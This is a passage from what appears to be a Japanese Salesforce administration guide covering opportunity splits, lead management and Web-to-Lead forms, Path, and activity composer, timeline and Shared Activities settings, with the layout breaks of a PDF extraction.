• 無効な通貨を含む商談を削除する。無効な通貨を含む商談がSalesforce組織にわずかしかなく、レポート

や履歴に不要な場合は、この方法が最適です。
無効なユーザ

無効な通貨と同様に、過去に商談に携わっていた無効なユーザがSalesforce組織内に存在する場合、そのユー
ザが所有する商談レコードがまだ存在する可能性があります。分割の有効化プロセスはそれらのレコード
にアクセスしますが、ユーザが無効であるためプロセスが失敗する原因になります。失敗を防ぐため、ま
たは発生した失敗を修正するためには、次の操作を実行します。
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• 分割の有効化中に無効なユーザを有効にする (プロセスの完了後に再び無効にできます)。
• 無効なユーザが所有するすべての商談を削除する。無効なユーザが所有する商談が Salesforce 組織にわず

かしかなく、レポートや履歴に不要な場合は、この方法が最適です。
• Salesforce 組織で無効ユーザを編集することを一時的に許可する。

メモ: 無効ユーザの編集をオンにすると、アーカイブデータが変更されることがあります。商談の
分割をオンにするためだけにこの権限を有効にしている場合は、それを使用できる人を制限し、終
了したらオフに戻すことをお勧めします。

1. [設定] から、[クイック検索] ボックスに「ユーザインターフェース」と入力し、[ユーザインターフェー
ス] を選択します。

2. [「レコードの作成時に監査項目を設定」および「無効な所有者のレコードを更新」ユーザ権限を有
効化] を選択して、変更を保存します。

3. プロファイルまたは権限セットで [無効な所有者のレコードを更新] を有効化します。

処理中の一括操作
一括移行やチームメンバーの一括再割り当てなどの一括操作を実行している場合、商談分割を同時に有効
にすると、有効化に失敗することがあります。商談分割の有効化を開始する前に、一括操作がすべて完了
していることを確認します。

商談分割の有効化

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Performance Edition、
Developer Edition

使用可能なエディション:
Enterprise Edition および
Unlimited Edition (Sales
Cloud 付属)

ユーザ権限

商談分割を有効にする
• 「アプリケーションの

カスタマイズ」

営業担当が簡単に商談に関してコラボレーションし、商談の収益をチームメン
バーと共有できるようにします。
1. [設定] から、[クイック検索]ボックスに「商談の分割」と入力し、[設定]を選

択します。
2. [商談の分割の設定] をクリックします。
3. ビジネスプロセスを適切に反映するには、次のいずれかの操作を実行しま

す。
• [商談 - 金額] 項目に基づくデフォルトの収益分割およびオーバーレイ

分割の名前を変更するか、無効化します。
• [新しい分割種別を追加]をクリックして別の通貨項目を分割し、その項目

の分割の合計を 100% にする必要があるかどうかを指定します。

4. 変更内容を保存します。
5. [商談分割] 関連リストを表示するページレイアウトを選択します。
6. カスタマイズされたページレイアウトを持つユーザが関連リストを表示でき

るようにするには、[ユーザのカスタマイズされた関連リストに追加] を選択
します。

7. 変更内容を保存します。
8. チームをより迅速に変更できるようにするには、[分割の編集中にユーザが商談チームにメンバーを追加で

きるようにする] をクリックします。
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営業担当が売上予測に分割を含められるようにする方法は、「コラボレーション売上予測の売上予測種別の有
効化」を参照してください。

関連トピック:

チームセリング設定の有効化
商談分割の作成
レコードの所有者の変更

カスタム商談分割種別の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Performance Edition、
Developer Edition

使用可能なエディション:
Enterprise Edition および
Unlimited Edition (Sales
Cloud 付属)

ユーザ権限

商談のカスタム分割種別
を作成する
• 「アプリケーションの

カスタマイズ」

業務をより良く反映するように、商談通貨項目のカスタム商談分割種別を作成
します。収益分割とオーバーレイ分割以外に 3 つまで、使用する種別を作成で
きます。その後、各種別の合計が常に 100% になるかどうかを指定します。

メモ: カスタム通貨項目および積み上げ集計項目を含む、商談に作成され
たほとんどの通貨項目を分割することはできますが、数式通貨項目は分割
できません。

1. Salesforce 組織でカスタム分割種別を有効にするには、Salesforce にお問い合わ
せください。
商談分割種別への変更は、バックグラウンドプロセスで実行されます。プロ
セスが完了すると、メールで通知されます。変更が完了するまで、商談の分
割は編集しないことをお勧めします。

2. [設定] から、[クイック検索]ボックスに「商談の分割」と入力し、[設定]を選
択して、[分割種別を編集] をクリックします。

3. [+ 新しい分割種別を追加] をクリックします。
4. 必要に応じて、設定を定義します。
5. 変更内容を保存します。

商談分割種別を削除する場合の考慮事項

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Performance Edition、
Developer Edition

使用可能なエディション:
Enterprise Edition および
Unlimited Edition (Sales
Cloud 付属)

通常は最大 5 つの分割種別がありますが、別の分割種別が必要な場合は、いず
れかの商談分割種別を無効化します。または、ほとんど使用しない種別を削除
してストレージを削減します。商談分割種別を無効化または削除する前に、次
の重要な点を考慮してください。
• 分割種別は、基盤となるデータの保存中に無効化してSalesforceインターフェー

スから削除します。これにより、後で再有効化できます。
• 分割種別を削除すると、すべての関連データが完全に削除されます。
• 分割種別を無効化または削除する手順は、次のとおりです。

– 「アプリケーションのカスタマイズ」権限が必要です。
– [商談分割設定] にアクセスします。
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• Salesforce 組織に多数の商談がある場合、分割種別を削除するスクリプトの処理に数時間かかることがあり
ます。

関連トピック:

商談分割の無効化の考慮事項
商談分割の有効化

商談分割の複数行レイアウトの編集の考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Performance Edition、
Developer Edition

使用可能なエディション:
Enterprise Edition および
Unlimited Edition (Sales
Cloud 付属)

営業担当が商談分割を編集するときに Salesforce に表示される項目をカスタマイ
ズする前に、次の重要事項を考慮します。
• レイアウトを編集するには「アプリケーションのカスタマイズ」権限が必要

です。
• リッチテキスト項目または複数選択リストを商談分割の複数行レイアウトに

追加することはできません。
• リッチテキスト項目および複数選択リストは、商談分割の詳細ページで編集

します。

商談分割の無効化の考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Performance Edition、
Developer Edition

使用可能なエディション:
Enterprise Edition および
Unlimited Edition (Sales
Cloud 付属)

Salesforce 組織で商談分割を使用していない場合は、この機能を無効にすること
ができます。その前に、次の重要事項を考慮します。
• 商談分割を無効にすると、元に戻せません。失われた分割データは取得でき

ません。
• 商談分割を無効にすると、次のようになります。

– 組織のすべての商談の分割が削除される。
– 分割レポートが削除される。
– 分割レポートテンプレートを使用して作成されたカスタムレポートは [レ

ポート] タブに引き続き表示されるが、アクセスはできなくなる。
• 商談分割を無効にする手順は、次のとおりです。

– 「アプリケーションのカスタマイズ」権限が必要です。
– 商談分割の設定にアクセスします。

• 組織に多数の商談がある場合、分割を無効化するスクリプトの処理に数時間かかる場合があります。

関連トピック:

チームセリング設定の無効化の考慮事項
商談分割種別を削除する場合の考慮事項
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リードのオプションのカスタマイズ

リード管理の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

営業チームが見込み客を追跡し、商談の強固なパイプラインを築けるようにし
ます。営業チームは Salesforce リードを使用して、商談の作成を目標に見込み客
に働きかけ、評価します。
リードを使用して、営業スタッフは最新の見込み客に瞬時にアクセスでき、す
べてのリードに適切に対応できているか確認できます。リードを正しく管理す
ることにより、営業とマーケティングが受信リード処理を管理し、リードソー
スを追跡し、マーケティングのための投資に対するリターンを分析することが
できます。
[設定] から、リード管理の使用を開始します。
• リードのオブジェクト管理設定に移動します。[項目] セクションから、自社

に固有の情報を追跡するカスタムリードを作成します。また、リードのカス
タム項目を、取引先、取引先責任者、および商談の各項目に対応付けて、
ユーザがリードの取引を開始するときにデータが変換されるようにします。
[リード状況] 選択リストを編集して、新規リードと取引開始後のリードのデフォルトの状況を選択しま
す。

• [クイック検索]ボックスに「リードの設定」と入力し、[リードの設定]を選択してデフォルトのリード設定
を指定します。

• [クイック検索]ボックスに「割り当てルール」と入力し、[リードの割り当てルール]を選択して、自動的に
リードを割り当てるリード割り当てルールを設定します。

• [クイック検索]ボックスに「Web-to-リード」と入力し、[Web-to-リード]を選択して、Web サイトからリー
ドを自動的に取り込みます。

• マーケティングチームと営業業務担当チームが取引開始済みのリードを編集できるようにするには、「取
引開始済みのリードを表示および編集」権限を該当のユーザに割り当てます。

リードまたはカスタムオブジェクトに対する営業キューを作成するには、[設定] から [クイック検索] ボック
スに「キュー」と入力し、[キュー] を選択します。
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リードの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

組織でリードの使用を開始する前に、次の設定を実行できます。
• デフォルトのリードの設定をカスタマイズする。
• リードの分配を管理しやすいように、リードのキューを作成する。
• 自動的にリードを割り当てることができるように、リードの割り当てルール

を設定する。
• Web サイトから自動的にリード情報を取得できるように、Web-to-リードを設

定する。
• 組織にある既存のリードデータをインポートする。
• リードのカスタム項目を作成する。
• リードの取引を開始するために、リードのカスタム項目を他のカスタム項目

に対応させる。
• [リード状況]選択リストを編集して、新規リードと取引開始後のリードのデ

フォルトの状況を選択します。

関連トピック:

リード

リード作成のデフォルト設定の定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

リード設定を変更する
• 「アプリケーションの

カスタマイズ」

営業チームのリード管理機能を最適化し、リードを取引先責任者、取引先、お
よび商談に変換することになったときにリードを効率的に導き、重複レコード
を回避できるようにします。
1. [設定] から、[クイック検索] ボックスに「リードの設定」と入力し、[リード

の設定] を選択して [編集] をクリックします。
2. デフォルトのリード所有者とリードの取引開始設定を定義します。
3. 設定を保存します。
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リードの取引開始に対するリードのカスタム項目の対応付け

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

リード項目を対応付ける
• 「アプリケーションの

カスタマイズ」

リードのカスタム項目を取引開始後のレコードの項目に対応付けて、営業チー
ムが取引開始したリードから作成されるレコードを最大限に活用します。
営業担当が評価済みのリードの取引を開始する場合、標準のリード項目の情報
は、取引先、取引先責任者、および商談の各レコードの標準項目に表示されま
す。リードのカスタム項目を設定する場合は、そのカスタム情報を取引先、取
引先責任者、商談のカスタム項目に対応させる方法を指定します。
1. リードのオブジェクト管理設定から、[項目] セクションに移動し、[リードの

項目の対応付け] をクリックます。
2. リードの各カスタム項目について、取引を開始したときに情報が入力される

取引先、取引先責任者、商談の各カスタム項目を選択します。
3. 作業を保存します。

関連トピック:

リードの取引開始に対するリードのカスタム項目の対応付けに関するガイド
ライン
評価済みリードの取引開始

リードの取引開始に対するリードのカスタム項目の対応付けに関するガイドライン

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

取引先、取引先責任者、および商談のカスタム項目にリードのカスタム項目を
対応付ける場合のベストプラクティスについて説明します。カスタム項目の対
応付けは、営業担当者が評価済みリードの取引を開始して見込みのある新規案
件を追跡するときに、重要な情報を保持する場合に役立ちます。

備考確認事項

特に、数値のリード項目は他の数値項目に対応
付け、ロングテキストエリア項目は他のロング
テキストエリア項目に対応付けます。次に一部
の例外を示します。

リードのカスタム項目は、同
じデータ型の他のカスタム項
目に対応付ける。

• テキスト項目と選択項目は対応付けることが
できます。ただし、対応付けられたテキスト
項目のデータ長がリードの選択リスト値を格
納できるほど長くない場合は、データが切り
捨てられます。

• テキスト項目、テキストエリア項目はロング
テキストエリア項目に対応付けることができ
ます。

• 自動採番項目はテキスト、テキストエリア、
選択リスト型の項目に対応付けることができ
ます。
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備考確認事項

• カスタム数式項目は他の数式項目またはその他のどの型の項目
にも対応付けることはできません。

たとえば、データ長が 3 桁で小数点以下の桁数が 2 桁のリードの
通貨項目を使用している場合、データ長が 3 桁で小数点以下の桁
数が 2 桁の他のカスタム通貨項目にその項目を対応付けます。

数値、通貨、パーセント型のリードのカ
スタム項目は、データ長と小数点以下の
桁数が同じ他の数値、通貨、またはパー
セント型の項目に対応付ける。

カスタム項目のデータ型を変更すると、それらのカスタム項目に
対するリードの対応付けが削除されます。

リードのカスタム項目のデータ型は変更
しない。

関連トピック:

リードの取引開始に対するリードのカスタム項目の対応付け

Web 生成リードの概念

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Web-to-リードを使用して、自社の Web サイトから情報を収集し、1 日あたり最
大 500 件の新規リードを自動的に生成します。
見込み客が連絡先情報を入力するフォームがすでに会社にある場合は、見込み
客がキャンペーンへのレスポンスを行うジャンプページの作成を検討してくだ
さい。HTML コードを少し追加するだけで、その情報を Salesforceにリダイレクト
してリードを作成できます。

関連トピック:

リード作成のデフォルト設定の定義

Web-to-リードの設定に関するガイドライン

ユーザ権限

Web-to-リードを設定する
• 「アプリケーションの

カスタマイズ」

自社の Web サイトから情報を収集し、1 日あたり最大 500 件の新規リードを自動
的に生成できるように Salesforce を準備します。

確認事項実行する処理

カスタムリード項目を作成し、リードの取引開始時
に取引先、取引先責任者、および商談のカスタム項
目に対応付ける方法を指定する。

Salesforceのリードの標準
項目に適合しない特殊な
リード情報の追跡

公開メールテンプレートを作成する。送信された情
報に応じて異なるメールテンプレートを使用するよ

Web サイトから情報を送
信した見込み客に対する
メールの自動送信 うにメールレスポンスルールを設定する予定の場合、

どのレスポンスルールも適用されないときに送信す
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確認事項実行する処理

るためのデフォルトのテンプレートを 1 つ作成します。

[リード状況] 選択リストを使用してこの処理を実行する。新規リードと取引開始済みのリー
ドのデフォルト状況の設定

営業担当者およびキューへのリー
ドの割り当て

• 個々の営業担当者ではなくキューにリードを割り当てる場合は、リー
ドキューを作成する。

• リード設定のカスタマイズを使用して、割り当てルールの条件を満た
さない場合のリードのデフォルトの所有者を指定する。

• リードの割り当てルールを作成して有効化し、Web 生成リードがユー
ザまたはキューに割り当てられる方法を決定する。ルールが無効な場
合は、[リードの設定] で指定したデフォルトの所有者にすべての Web

生成リードが割り当てられます。

関連トピック:

Web 生成リードの概念
営業チームの Web サイトからのリードの生成

営業チームの Web サイトからのリードの生成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Web-to-リードを設定する
• 「アプリケーションの

カスタマイズ」

会社の Web サイトの訪問者の見込み客データを使用して、最大 500 件/日のリー
ドを自動的に生成します。Web-to-リードを設定すると、Salesforce は連絡先情報
を提供する見込み客を取得します。さらに、見込み客をキャンペーンの成功に
不可欠な他の Web ページにリダイレクトすることもできます。
スパムフィルタリングを使用する場合は、reCAPTCHA 鍵ペアが必要です。
1. [設定] から、[クイック検索]ボックスに「Web-to-リード」と入力し、[Web-to-

リード] を選択します。
2. [編集] をクリックして、Web-to-リードの設定を有効にしたり、変更したりし

ます。
3. 見込み客に自動的にメールを返信する場合、デフォルトのレスポンス用テン

プレートを選択します。見込み客が提供する情報に応じて異なるメールテン
プレートを使用するようにレスポンスルールを設定している場合、適用され
る自動レスポンスルールがないときにはデフォルトのレスポンス用テンプ
レートが使用されます。このテンプレートは「有効」に設定する必要があり
ます。

4. 変更内容を保存します。
5. Web サイトで見込み客の詳細を取得するフォームを作成するには、[Web-to-

リードフォームの作成] をクリックし、含める項目を選択します。
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6. Web-to-リードフォームに含める項目を選択します。[選択可能な項目] と [選択済みの項目] との間で項目を
移動するには、[追加] 矢印と [取り消し] 矢印を使用し、フォームの項目の順序を変更するには、上下矢印を
使用します。
• [キャンペーン] 項目を選択します。
• マルチ通貨を使用している組織で、通貨金額の項目を追加する場合は、[リード 通貨] 項目を追加しま

す。この項目を追加しなかった場合、すべての金額はマスタ通貨で取り込まれます。
• カスタム複数選択リストを使用すると、顧客は複数の商品への興味を示すことができるようになりま

す。
• リードにレコードタイプを使用している組織で、[リードレコードタイプ]項目を選択すると、ユーザが

Web 生成のリードに対してレコードタイプを選択できます。

7. 組織でトランスレーションワークベンチを使用している場合、またはタブを名称変更した場合は、Web-to-

リードフォームに表示されるフォームラベルで使用する言語を選択します。Web-to-リードフォームのソー
スは常にその個人の言語になっています。

8. ユーザが情報を送信した後に移動する完全 URL (「ありがとうございました」などを表示する会社のホーム
ページ) を指定して、[作成] をクリックします。

9. リード登録フォームに reCAPTCHA ウィジェットを追加する場合は、[スパムフィルタリングの有効化 (推奨)]

を選択します。
• ルックアップを使用して reCAPTCHA API 鍵ペアを指定します。
• Google reCAPTCHA サーバが使用できない場合にすべてのトラフィックを許可するには、[サーバフォール

バックを有効化] を選択します。

10. 生成された HTML コードをコピーし、それを Web マスタが Web サイトに組み込みます。
11. [完了] をクリックします。
Web-to-リードフォームをテストするには、コードに <input type="hidden" name="debug" value="1">

行を追加します。この行により、フォームを送信するとデバッグページにリダイレクトされます。この行は、
[Web-to-リード] ページを Web サイトに公開する前に削除します。
Web サイトから生成されたリードは、初期値として [リード状況] 選択リストで指定した「状況のデフォルト
値」が設定されます。キャンペーンの一部として生成される Web-to-リードでは、新しいリードのメンバー状
況にはフォームで指定した [メンバーの状況]の値が設定されます。フォームに [メンバーの状況]項目が含ま
れていない場合は「デフォルト」のメンバー状況が設定されます。
また、すべての新規リードは「未読」に設定され、リード所有者が参照または編集したときに「既読」に設定
されます。ユーザは、[未読のデータ] リストビューを選択して、新規リードの一覧を表示できます。

メモ: オンラインで取り込まれた日付項目および通貨項目の形式は、組織のデフォルトの共有設定である
[地域のデフォルト値] および [通貨] と同じになります。
Web-to-リード要求の 1 日の制限は 500 件です。Web から取り込まれたリードの件数が 1 日の上限を超えた
場合は、デフォルトのリード作成者 ([Web-to-リード設定] ページで指定) に対してリード情報が含まれた
メールが送信されます。Web-to-リードの制限についての詳細は、「Web サイトから取り込むことができ
るリード件数は?」 (ページ 1621)を参照してください。
Web-to-リード設定にエラーがあるために新しいリードを生成できない場合は、エラーの修正をサポート
できるように、カスタマーサポートにその問題が通知されます。
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Salesforceは、Web-to-リードによって登録されたレコードを作成する前に項目入力規則を実行し、有効な値
を持つレコードのみを作成します。
すべての必須項目に値を入力した後に、レコードを Web-to-リード経由で作成できます。
Salesforce では、Web-to-リードフォームでリッチテキストエリア (RTA) 項目はサポートされません。フォー
ムで RTA 項目を使用すると、入力された情報はリードの作成時にプレーンテキストとして保存されます。

関連トピック:

スパムケースを防止するための reCAPTCHA の有効化
https://www.google.com/recaptcha/intro/index.html

Web-to-リードの設定に関するガイドライン
Web 生成リードの概念

プロセス導入の増加

パス

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パスは、プロセスの手順に沿ってユーザを誘導するものです。たとえば、ユー
ザーはパスに従って新規リードの対応から商談の成立まで商談に関する作業を
行うことができます。Lightning Experience のリード、商談、見積、カスタムオブ
ジェクトでパスを利用できます。また、すべてのバージョンの Salesforce1 モバイ
ルアプリケーションの商談でパスを利用できます。
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使用可能なレコードタイプごとに 1 つのパスを設定できます。各パスの手順 (1) は、パスの設定時に選択した
選択リストの値に基づきます。
[重要な項目] を最大 5 個選択し、重要度の高い情報にユーザーを注目させます (2)。パスの各ステップで、ス
テップに固有の便利なガイダンス (ヒント、リンク、会社のポリシーに関する情報など) を提供して、ユーザの
操作をサポートします (3)。
パスを有効にして新しいパスを設定するには、[設定] から [クイック検索]ボックスに「パス設定」と入力しま
す。

営業担当のミーティングと ToDo の支援

営業担当による行動と ToDo の同時管理の支援
営業担当がリード、取引先責任者、商談、取引先に関してより正確な観点を得られるようにします。営業担当
は組み合わせた活動設定を使用して、ミーティングと ToDo を管理および追跡できます。Lightning Experience と
Salesforce Classic のオプションは異なります。

Lightning Experience の活動コンポーザと活動タイムラインの考慮事項
Salesforce 組織によっては、活動コンポーザでタブが非表示になるのを防ぐため、ページレイアウトまたは
レコードタイプを調整する必要があります。また、活動タイムラインの項目の表示や順序をカスタマイズ
する場合は、特定の項目の動作に注意してください。
Salesforce Classic での活動アラームの設定に関する考慮事項
行動と ToDo のアラームを表示する個々の設定を無効にすると、ユーザの活動アラーム設定が消去されま
す。活動アラームを後で再び有効にすると、ユーザは設定を再有効化した後に作成または編集した活動に
ついてのみアラームを受け取ります。
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Shared Activities の考慮事項 (活動に複数の取引先責任者がある場合)

Shared Activities を使用すると、ユーザが複数の取引先責任者を各行動または ToDo に関連付けたり、取引先責
任者詳細ページで活動予定と活動履歴に関する情報を表示したりできます。Shared Activities を有効化した場
合、または Salesforce組織で Shared Activities がデフォルトで有効化されている場合、無効にすることはできま
せん。Shared Activities を有効にするか、無効のままにするかに関係なく、次の考慮事項を確認してくださ
い。
Shared Activities のガイドライン (活動に複数の取引先責任者がある場合)

行動詳細および ToDo 詳細と一緒に関連する取引先責任者を含めるには、[名前] 関連リストを行動詳細およ
び ToDo 詳細ページレイアウトに含めます。

関連トピック:

行動と ToDo を一緒に管理するオプションのカスタマイズ

Lightning Experience の活動コンポーザと活動タイムラインの考慮事項

エディション

Lightning Experience で使用
可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce組織によっては、活動コンポーザでタブが非表示になるのを防ぐため、
ページレイアウトまたはレコードタイプを調整する必要があります。また、活
動タイムラインの項目の表示や順序をカスタマイズする場合は、特定の項目の
動作に注意してください。

ページレイアウトとレコードタイプの調整による活動コンポーザのタブの表
示
一部の Salesforce組織では、Lightning Experienceの活動コンポーザにタブを表示
するために、設定を調整する必要があります。
タイムラインと活動の関連リストの考慮事項
Lightning Experienceでは、活動をサポートするオブジェクトの詳細ページに、他の関連リストと共に [活動予
定] および [活動履歴] 関連リストが表示されることはありません。代わりに、活動タイムラインが表示され
ます。活動をサポートするオブジェクトには、商談、リード、取引先、取引先責任者、契約などと、活動
を有効化したカスタムオブジェクトがあります。
活動タイムラインの項目をカスタマイズする場合の考慮事項
コンパクトレイアウトを使用して、活動タイムラインの項目の表示と順序をカスタマイズできます。特定
の必須フィールドは、レイアウトから削除してもタイムラインに残ることに注意してください。タイムラ
インのアイコンはカスタマイズできません。

関連トピック:

Lightning Experience での ToDo リストのカスタマイズのガイドライン
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ページレイアウトとレコードタイプの調整による活動コンポーザのタブの表示

エディション

Lightning Experience で使用
可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

一部の Salesforce 組織では、Lightning Experience の活動コンポーザにタブを表示す
るために、設定を調整する必要があります。

Lightning Experience の活動コンポーザの [電話]、[ToDo]、[行動] タブの設定
Salesforce組織の商談その他のオブジェクトの活動コンポーザに [電話]、[ToDo]、
[行動] タブが表示されないことがあります。その場合は、レイアウト、レコー
ドタイプ、権限の設定をチェックします。
Lightning Experience の活動コンポーザのメールアクションの設定
Salesforce 組織の商談やその他のオブジェクトの活動コンポーザにメールアク
ションが表示されないことがあります。その場合は、レイアウトや権限の設
定をチェックします。

Lightning Experience の活動コンポーザの [電話]、[ToDo]、[行動] タブの設定

エディション

Lightning Experience で使用
可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce 組織の商談その他のオブジェクトの活動コンポーザに [電話]、[ToDo]、
[行動] タブが表示されないことがあります。その場合は、レイアウト、レコード
タイプ、権限の設定をチェックします。
1. オブジェクト (商談、リード、取引先、取引先責任者、または活動をサポー

トするカスタムオブジェクト) のページレイアウトを確認します。オブジェ
クトのページレイアウトの [Salesforce1およびLightning Experienceアクション]セ
クションに、対応するアクションが含まれているかどうか確認します。

メモ: オブジェクトページはグローバルページレイアウトのアクション
を継承します。ただし、オブジェクトのページレイアウトの [Salesforce1

および Lightning Experience アクション] セクションにあるアクションをカ
スタマイズしている場合を除きます。

2. 電話、ToDo、行動にカスタムレコードタイプを作成している場合は (レコードタイプによってレコードのレ
イアウトと選択リスト値が決まります。1 つ以上のレコードタイプを定義して、ユーザが行動または ToDo

を作成するときに選択できるようにします)、カスタムレコードタイプに関連付けたページレイアウトを
チェックします。対応するアクションにカスタムレコードタイプを割り当てていることを確認します。た
とえば、電話にカスタムレコードタイプを作成している場合は、そのレコードタイプを [活動の記録] アク
ションに割り当てます。

3. ユーザにそのカスタムレコードタイプの参照権限があることを確認します。

関連トピック:

Lightning Experience のアクション
Lightning Experience でのアクションの順序
ページレイアウト
権限セット
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Lightning Experience の活動コンポーザのメールアクションの設定

エディション

Lightning Experience で使用
可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce組織の商談やその他のオブジェクトの活動コンポーザにメールアクショ
ンが表示されないことがあります。その場合は、レイアウトや権限の設定を
チェックします。
1. 活動コンポーザにメールアクションが表示されない場合は、商談その他のオ

ブジェクトのレコードタイプに割り当てられたページレイアウトを開きま
す。

2. [メールの送信] アクション ([メールを送信]) アクションではない) をページレ
イアウトの [Salesforce1およびLightning Experienceアクション]セクションに追加
します。

3. ユーザに「メールを送信」(「メールの送信」ではない) 権限があることを確
認します。

関連トピック:

Lightning Experience のアクション
Lightning Experience でのアクションの順序
ページレイアウト
権限セット

タイムラインと活動の関連リストの考慮事項

エディション

Lightning Experience で使用
可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Experience では、活動をサポートするオブジェクトの詳細ページに、他
の関連リストと共に [活動予定] および [活動履歴] 関連リストが表示されること
はありません。代わりに、活動タイムラインが表示されます。活動をサポート
するオブジェクトには、商談、リード、取引先、取引先責任者、契約などと、
活動を有効化したカスタムオブジェクトがあります。

活動タイムラインの項目をカスタマイズする場合の考慮事項

エディション

Lightning Experience で使用
可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コンパクトレイアウトを使用して、活動タイムラインの項目の表示と順序をカ
スタマイズできます。特定の必須フィールドは、レイアウトから削除してもタ
イムラインに残ることに注意してください。タイムラインのアイコンはカスタ
マイズできません。
項目の表示と順序

コンパクトレイアウトを使用して、タイムラインの項目の表示と順序をカス
タマイズします。ただし、重要な活動情報を含む特定の項目は、レイアウト
から削除してもタイムラインに残ります。たとえば、期日、日時、または
ToDo の状況の項目をコンパクトレイアウトから削除するとします。行動の開
始日時、ToDo のチェックボックス、ToDo 期日、活動記録日は活動のタイムラ
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インに引き続き表示されます。行動の説明項目と ToDo のコメント項目はコンパクトレイアウトでは使用で
きませんが、タイムラインには常に表示されます。タイムラインに表示されるの残りの項目は、コンパク
トレイアウトに含まれる項目を反映します。

アイコン
タイムラインの活動種別 (行動、ToDo、電話、メール) のアイコンはカスタマイズできません。

Salesforce Classic での活動アラームの設定に関する考慮事項

エディション

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

行動と ToDo のアラームを表示する個々の設定を無効にすると、ユーザの活動ア
ラーム設定が消去されます。活動アラームを後で再び有効にすると、ユーザは
設定を再有効化した後に作成または編集した活動についてのみアラームを受け
取ります。

Shared Activities の考慮事項 (活動に複数の取引先責任者がある場合)

エディション

Lightning Experience で使用
可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

Shared Activities を使用すると、ユーザが複数の取引先責任者を各行動または ToDo

に関連付けたり、取引先責任者詳細ページで活動予定と活動履歴に関する情報
を表示したりできます。Shared Activities を有効化した場合、または Salesforce 組織
で Shared Activities がデフォルトで有効化されている場合、無効にすることはでき
ません。Shared Activities を有効にするか、無効のままにするかに関係なく、次の
考慮事項を確認してください。

Shared Activities の有効化
取引先責任者数の制限

営業担当が各行動または ToDo に関連付けることができる取引先責任者は最
大 50 件です。

Shared Activities の有効化の所要時間
Salesforce 組織の活動量によっては、Shared Activities の有効化に最大 48 時間か
かる場合があります。このプロセスの間も、営業担当は引き続き行動と ToDo

を操作できます。プロセスが完了しなかった場合は、[設定] の [活動設定] ページに、その状況と必要な処置
に関するメッセージが表示されます。

関連する取引先責任者とその他の活動詳細を一緒に表示
行動詳細ページと ToDo 詳細ページに関連する取引先責任者を表示するには、[名前] 関連リストが行動およ
び ToDo ページレイアウトに含まれていることを確認します。[名前] 関連リストの内容は項目ではないため、
項目レベルセキュリティ設定は適用されません。

Visualforce での行動の表示
Visualforce ページに Shared Activities の行動を表示するのに標準コントローラを使用する場合は、API バージョ
ン 26.0 以降を使用します。

レポート
複数の取引先責任者が 1 つの行動に関連付けられていて、活動レポートがロール階層で自分より下位では
ないユーザに割り当てられている場合、その行動の下位行動は活動レポートに表示されません。

2183

営業担当のミーティングと ToDo の支援販売ツールの設定および管理



Shared Activities の無効化を維持
活動リレーションに基づいたカスタムレポートの制限

Shared Activities を有効化しない場合、活動リレーションに基づいたカスタムレポートは次のように動作しま
す。
• 行動への招待者のみが表示され、主催者は表示されない。
• 誰も招待されていない行動は表示されない。

活動のカスタム参照がサポートされない
Shared Activities が有効化されていない場合、活動のカスタム参照項目リレーションを使用するカスタムレ
ポートタイプはサポートされません。

メール用に重複レコードが作成される
Shared Activities を有効化しない場合、営業担当が複数の取引先責任者にメールを送信すると、Salesforceによっ
て取引先責任者ごとに完了 ToDo が作成されます。その結果、Salesforce は、メールに対応する ToDo 1 件のみ
ではなく、重複レコードを作成します。

Shared Activities のガイドライン (活動に複数の取引先責任者がある場合)

エディション

Lightning Experience で使用
可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

行動詳細および ToDo 詳細と一緒に関連する取引先責任者を含めるには、[名前]

関連リストを行動詳細および ToDo 詳細ページレイアウトに含めます。

関連トピック:

ページレイアウト

営業担当による行動とカレンダーの管理の支援
営業担当がミーティングとスケジュールを管理する方法を最適化します。Lightning Experience、Salesforce Classic、
および Salesforce1 のオプションは異なります。

